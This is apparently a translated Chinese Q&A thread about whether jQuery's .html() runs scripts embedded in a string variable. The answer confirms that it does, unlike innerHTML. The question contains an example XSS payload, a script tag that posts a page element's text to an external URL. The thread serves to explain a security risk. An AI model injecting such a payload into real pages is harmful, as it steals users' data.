是jQuery.html（）危险吗？

Question

可能重复：
html() vs innerHTML jquery/javascript & XSS attacks

是jQuery.html（）危险吗？

$("#id").html("<span>"+ variable + "</span>"); 

就像上面的例子中，如果变量将具有以下值：

"<script> $.post("external_url.php", {sesitivedata= $("#someElement").text()}, function() {}) </script>" 

请问脚本来执行？如果有，有什么办法让变量包含正常的html标签，但不包含脚本？

编辑：添加脚本标记字符串

Answer 1

是，该脚本将被执行。

http://jsfiddle.net/9ybUJ/2/

的.html()隐含俯瞰任何脚本元素和evals他们。这与.innerHTML相反，它永远不会执行html内部的脚本。